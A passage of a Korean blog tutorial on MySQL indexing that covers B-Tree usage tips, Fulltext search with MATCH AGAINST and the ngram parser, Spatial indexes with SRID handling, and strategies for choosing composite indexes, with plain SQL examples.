&lt;li&gt;&lt;b&gt;빠른 검색&lt;/b&gt;: &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;gt;=&lt;/code&gt;, &lt;code&gt;BETWEEN&lt;/code&gt; 연산에서 빠른 탐색 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;범위 탐색 최적화&lt;/b&gt;: 특정 범위에 해당하는 데이터를 빠르게 스캔 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복합 인덱스 최적화&lt;/b&gt;: 다중 컬럼 조건에서도 유용하게 사용 가능 (단, 선두 컬럼 기준 주의 필요)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실무 예제: 인덱스 생성과 사용&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;단일 컬럼 인덱스 생성&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;-- 사용자 테이블에서 이메일 검색 최적화
CREATE INDEX idx_users_email ON users (email);&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;복합 인덱스 생성&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;-- 이름과 가입일을 자주 조합해 조회하는 경우
CREATE INDEX idx_users_name_joined ON users (name, joined_at);&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인덱스 조회&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SHOW INDEX FROM users;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;쿼리 분석 (EXPLAIN)&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;EXPLAIN SELECT * FROM users WHERE email = 'abc@example.com';&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;key&quot; 컬럼에 사용된 인덱스명이 나타나면 인덱스 사용 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주의사항과 실무 팁&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;NULL 주의&lt;/b&gt;: 인덱스 컬럼이 NULL 값을 많이 포함할 경우 인덱스 효율이 떨어질 수 있음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 분포도(Cardinality)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터가 고르게 분포된 컬럼일수록 인덱스 효율이 높음&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SHOW INDEX&lt;/code&gt; 결과의 &quot;Cardinality&quot; 항목 참고&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복합 인덱스의 선두 컬럼 규칙&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스의 첫 번째 컬럼이 조건절에 포함되지 않으면 전체 인덱스를 활용할 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모든 상황에서 인덱스가 성능을 보장하는 것은 아닙니다&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;너무 많은 인덱스는 쓰기 성능을 떨어뜨리고 저장공간을 낭비함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실무에서의 적용 전략&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조회 쿼리 중심으로 필요한 컬럼만 인덱싱할 것&lt;/li&gt;
&lt;li&gt;EXPLAIN으로 항상 실행계획을 점검할 것&lt;/li&gt;
&lt;li&gt;데이터 분포와 사용 패턴을 기반으로 주기적인 인덱스 리팩토링 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B-Tree 인덱스는 MySQL 성능 최적화의 핵심입니다. 구조를 잘 이해하고 상황에 맞게 활용한다면, 데이터 조회 속도는 물론 전체 서비스 반응성을 획기적으로 개선할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_53.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HIFhG/btsOOx3GsaU/XNpnk9paLz3EKfbWJBhXf0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HIFhG/btsOOx3GsaU/XNpnk9paLz3EKfbWJBhXf0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HIFhG/btsOOx3GsaU/XNpnk9paLz3EKfbWJBhXf0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHIFhG%2FbtsOOx3GsaU%2FXNpnk9paLz3EKfbWJBhXf0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_53.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Fulltext 인덱스 (LIKE보다 강력한 검색, Fulltext 인덱스)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 문자열 포함 여부를 확인하는 &lt;code&gt;LIKE&lt;/code&gt; 구문은 직관적이지만, 성능과 검색 정확도 측면에서 한계가 있습니다. 반면, &lt;b&gt;Fulltext 인덱스&lt;/b&gt;는 보다 빠르고 유의미한 결과를 제공하는 텍스트 검색 도구로, 특히 게시판이나 블로그와 같이 텍스트 기반 데이터가 많은 서비스에서 유용하게 활용됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Fulltext 인덱스의 구조와 전제 조건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fulltext 인덱스는 단어 단위로 텍스트를 분리하고, 내부적으로 역색인(Inverted Index) 구조를 사용합니다. 다만, 다음과 같은 조건을 만족해야 정상 작동합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;InnoDB와 MyISAM 스토리지 엔진만 지원
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MyISAM은 오래전부터 지원&lt;/li&gt;
&lt;li&gt;InnoDB는 MySQL 5.6 이후부터 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CHAR, VARCHAR, TEXT 컬럼에만 적용 가능&lt;/li&gt;
&lt;li&gt;기본적으로 최소 단어 길이(&lt;code&gt;ft_min_word_len&lt;/code&gt;) 제한 존재 (기본값: 4)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MATCH AGAINST 구문 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fulltext 인덱스를 활용한 검색은 &lt;code&gt;MATCH(col1, col2, ...) AGAINST ('검색어')&lt;/code&gt; 구문으로 수행합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT *
FROM posts
WHERE MATCH(title, body) AGAINST ('database indexing');&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;MATCH()&lt;/code&gt;에는 검색 대상 컬럼들을 나열&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AGAINST()&lt;/code&gt;에는 검색어를 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Natural Language vs Boolean 모드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fulltext 검색에는 두 가지 모드가 있습니다:&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Natural Language 모드 (기본값)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단어 빈도와 연관도 기반으로 결과 정렬&lt;/li&gt;
&lt;li&gt;불용어(stopword)는 자동 제외됨&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT *
FROM posts
WHERE MATCH(content) AGAINST ('mysql fulltext');&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. Boolean 모드&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AND, OR, NOT, +, - 등의 논리 연산자 사용 가능&lt;/li&gt;
&lt;li&gt;결과의 점수는 계산되지 않음 (정렬이 자동으로 되지 않음)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT *
FROM posts
WHERE MATCH(content) AGAINST ('+mysql -oracle' IN BOOLEAN MODE);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;성능 고려사항 및 설정값&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;정렬 조건&lt;/b&gt;: &lt;code&gt;MATCH ... AGAINST&lt;/code&gt; 결과는 점수 기반 정렬이 가능함 (Natural Language 모드에서만)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단어 길이 제한&lt;/b&gt;: 기본 설정은 4자 이상 단어만 인덱싱됨 (&lt;code&gt;ft_min_word_len&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인덱스 크기&lt;/b&gt;: 텍스트 분량과 단어 수에 따라 인덱스 크기가 크게 증가할 수 있음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;EXPLAIN 사용법&lt;/b&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;EXPLAIN SELECT * FROM posts WHERE MATCH(title) AGAINST ('index');&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;key 컬럼에 Fulltext 인덱스가 나타나면 최적화 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한글 검색의 제약과 대안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 기본 Fulltext 인덱스는 영어 기반의 공백 단위 토큰화를 사용하므로 &lt;b&gt;한글 검색에 한계&lt;/b&gt;가 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초성, 종성 분리 불가&lt;/li&gt;
&lt;li&gt;복합어, 띄어쓰기 오류에 취약&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;대안: Ngram 기반 인덱싱&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 5.7 이상에서는 ngram 파서를 설정하여 한글 처리 개선이 가능합니다:&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;CREATE TABLE posts (
  content TEXT,
  FULLTEXT INDEX ft_idx (content) WITH PARSER ngram
) ENGINE=InnoDB;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;ft_min_token_size&lt;/code&gt;를 1~2로 설정해 초성 단위 검색 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;게시판 검색 실무 예제&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 게시글 테이블에서 제목과 내용 검색
CREATE FULLTEXT INDEX ft_post_idx ON posts (title, content);

SELECT id, title
FROM posts
WHERE MATCH(title, content)
      AGAINST ('mysql index');&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복합 컬럼 인덱스 생성 가능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MATCH ... AGAINST&lt;/code&gt; 구문으로 빠르고 정교한 검색 수행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;LIKE&lt;/code&gt;보다 강력한 텍스트 검색을 원한다면 Fulltext 인덱스를 고려해야 함&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MATCH ... AGAINST&lt;/code&gt; 구문은 다양한 조건과 정렬에 활용 가능&lt;/li&gt;
&lt;li&gt;한글 검색은 기본 설정만으로는 한계가 있으므로, &lt;code&gt;ngram&lt;/code&gt; 파서와 함께 사용하는 것이 바람직함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;텍스트 중심의 서비스에서는 Fulltext 인덱스를 도입함으로써 검색 정확도와 응답 속도를 모두 개선할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_59.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9BOOw/btsOQ81Jy0F/sK8a5oCNklXuUhjkQDqzOK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9BOOw/btsOQ81Jy0F/sK8a5oCNklXuUhjkQDqzOK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9BOOw/btsOQ81Jy0F/sK8a5oCNklXuUhjkQDqzOK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9BOOw%2FbtsOQ81Jy0F%2FsK8a5oCNklXuUhjkQDqzOK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;267&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_59.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Spatial 인덱스(지리 기반 검색의 핵심, Spatial Index)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지도 기반 서비스, 위치 기반 추천, 주변 매장 검색 등 다양한 실무 환경에서 &lt;b&gt;지리 정보를 효율적으로 다루는 기술&lt;/b&gt;이 필요합니다. MySQL의 Spatial 인덱스는 이러한 위치 기반 데이터의 탐색 성능을 크게 향상시키는 도구로, 공간 데이터를 정밀하게 처리할 수 있도록 설계되었습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;지원되는 공간 데이터 타입&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL의 공간 인덱스는 &lt;code&gt;GEOMETRY&lt;/code&gt; 계열의 컬럼을 대상으로 적용되며, 주요 데이터 타입은 다음과 같습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;POINT&lt;/b&gt;: 위경도 등 좌표 1개&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LINESTRING&lt;/b&gt;: 선 또는 경로 정보&lt;/li&gt;
&lt;li&gt;&lt;b&gt;POLYGON&lt;/b&gt;: 다각형 영역 정보&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;InnoDB 기준으로는 &lt;b&gt;POINT&lt;/b&gt; 타입에만 Spatial 인덱스를 적용할 수 있으며, MyISAM은 다양한 타입을 보다 유연하게 지원합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;제약사항 및 사용 조건&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;InnoDB vs MyISAM&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;InnoDB는 MySQL 5.7부터 Spatial 인덱스를 지원 (단, POINT만 인덱싱 가능)&lt;/li&gt;
&lt;li&gt;MyISAM은 다양한 GEOMETRY 타입에 대해 인덱스 생성 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GEOMETRY 컬럼 필수&lt;/b&gt;: Spatial 인덱스를 적용하려면 반드시 GEOMETRY 계열 데이터 타입이어야 함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;NULL 불허 조건&lt;/b&gt;: InnoDB의 Spatial 인덱스는 NULL 값 허용 안 됨 (NOT NULL 설정 필요)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주요 공간 연산 함수 활용법&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;code&gt;MBRContains()&lt;/code&gt; &amp;ndash; 최소 경계 사각형(Minimum Bounding Rectangle) 포함 여부&lt;/h4&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;SELECT *
FROM stores
WHERE MBRContains(
  ST_GeomFromText('POLYGON((...))'), location
);&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;code&gt;ST_Within()&lt;/code&gt; &amp;ndash; 한 도형이 다른 도형 내부에 있는지 판단&lt;/h4&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;SELECT *
FROM stores
WHERE ST_Within(location, ST_GeomFromText('POLYGON((...))'));&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;code&gt;ST_Distance()&lt;/code&gt; &amp;ndash; 두 지점 간 거리 계산&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT id, name,
       ST_Distance(location, ST_GeomFromText('POINT(127.0 37.5)')) AS distance
FROM stores
ORDER BY distance ASC;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Spatial 인덱스의 내부 구조 개념&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL은 Spatial 인덱스를 구현할 때 &lt;b&gt;R-Tree&lt;/b&gt; 방식을 사용합니다 (MyISAM 기준). R-Tree는 다차원 데이터를 트리 구조로 정리하여, &lt;b&gt;범위 기반의 공간 탐색에 최적화&lt;/b&gt;된 구조입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;InnoDB에서는 일반 인덱스와 유사한 방식으로 GIST 유사 구조를 활용하나, 명확한 세부 구현은 공개되어 있지 않습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SRID(Spatial Reference System Identifier)의 중요성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공간 데이터를 처리할 때 좌표계(SRID)를 일치시켜야 정확한 결과를 얻을 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 SRID는 0 (Cartesian 평면 좌표계)&lt;/li&gt;
&lt;li&gt;위경도 기반 검색 시 SRID 4326 (WGS 84) 사용 권장&lt;/li&gt;
&lt;li&gt;함수 사용 시 SRID가 다르면 에러 발생 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;SELECT ST_Within(
  ST_GeomFromText('POINT(127.0 37.5)', 4326),
  ST_GeomFromText('POLYGON((...))', 4326)
);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실무 예제: 반경 내 매장 검색&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 위치 컬럼 정의 및 Spatial 인덱스 생성
CREATE TABLE stores (
  id INT AUTO_INCREMENT PRIMARY KEY,
  name VARCHAR(100),
  location POINT NOT NULL,
  SPATIAL INDEX(location)
) ENGINE=InnoDB;

-- 반경 5km 이내 매장 검색 예시 (위경도 기반)
SELECT id, name
FROM stores
WHERE ST_Distance_Sphere(location, ST_GeomFromText('POINT(127.0 37.5)', 4326)) &amp;lt;= 5000;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ &lt;code&gt;ST_Distance_Sphere()&lt;/code&gt;는 거리 계산에 실제 지구 곡률을 반영함 (MySQL 5.7 이상)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약 및 활용 전략&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위치 기반 기능이 필요한 서비스에서는 Spatial 인덱스를 적극 고려&lt;/li&gt;
&lt;li&gt;POINT 컬럼, SRID 설정, NOT NULL 조건 등 구조적 제약을 먼저 확인&lt;/li&gt;
&lt;li&gt;복잡한 지오메트리 연산은 기본 제공 함수(ST_Within, ST_Distance 등)를 적극 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치 기반 서비스에 Spatial 인덱스를 적용하면, 데이터 처리의 정밀성과 속도 모두를 효과적으로 개선할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_33_55.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rVM3l/btsOPuZt2NQ/5oo87aOkH7rLgUJTYjiPj0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rVM3l/btsOPuZt2NQ/5oo87aOkH7rLgUJTYjiPj0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rVM3l/btsOPuZt2NQ/5oo87aOkH7rLgUJTYjiPj0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrVM3l%2FbtsOPuZt2NQ%2F5oo87aOkH7rLgUJTYjiPj0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;267&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_33_55.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;인덱스 선택 전략 (성능을 좌우하는 효율적인 설계 방법)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스 성능을 좌우하는 핵심 요소 중 하나는 인덱스입니다. 하지만 모든 컬럼에 인덱스를 만드는 것이 정답은 아닙니다. 오히려 &lt;b&gt;잘못 설계된 인덱스는 성능을 저하시킬 수 있습니다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;잘 설계된 인덱스&quot;란, 자주 조회되는 쿼리를 분석하여 최소한의 인덱스로 최대한의 성능을 끌어내는 구조를 의미합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;단일 인덱스 vs 복합 인덱스&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;단일 인덱스의 장점과 한계&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단일 컬럼 인덱스는 구조가 단순하고 생성 비용이 낮습니다.&lt;/li&gt;
&lt;li&gt;그러나 여러 조건이 조합된 쿼리에는 적합하지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;복합 인덱스와 선두 조건&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복합 인덱스는 최대 16개 컬럼까지 지정 가능&lt;/li&gt;
&lt;li&gt;인덱스가 생성된 순서대로 조건을 만족해야 성능을 발휘함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 다음과 같이 인덱스를 생성한 경우:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;CREATE INDEX idx_user_search ON users (age, gender, region);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 쿼리는 인덱스를 활용할 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE age = 30 AND gender = 'M';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 다음 쿼리는 인덱스가 제대로 사용되지 않습니다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE gender = 'M' AND region = '서울';&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;WHERE + ORDER BY + LIMIT&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스는 WHERE 조건뿐 아니라 ORDER BY, LIMIT과 함께 작동할 때 특히 강력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT * FROM posts
WHERE category = 'news'
ORDER BY created_at DESC
LIMIT 10;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우 &lt;code&gt;category, created_at DESC&lt;/code&gt; 순서의 복합 인덱스를 생성하면 매우 효과적입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;선택도(Selectivity)의 이해&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스는 &lt;b&gt;선택도가 높은 컬럼에 적용할수록 성능 향상이 큽니다&lt;/b&gt;.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;선택도란?&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체 행 중 인덱스로 필터링 가능한 비율&lt;/li&gt;
&lt;li&gt;값이 고르게 분포된 컬럼일수록 선택도가 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;SHOW INDEX와 cardinality 확인&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SHOW INDEX FROM users;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과의 &quot;Cardinality&quot;가 높을수록 해당 컬럼이 인덱스로 적합함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어,&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
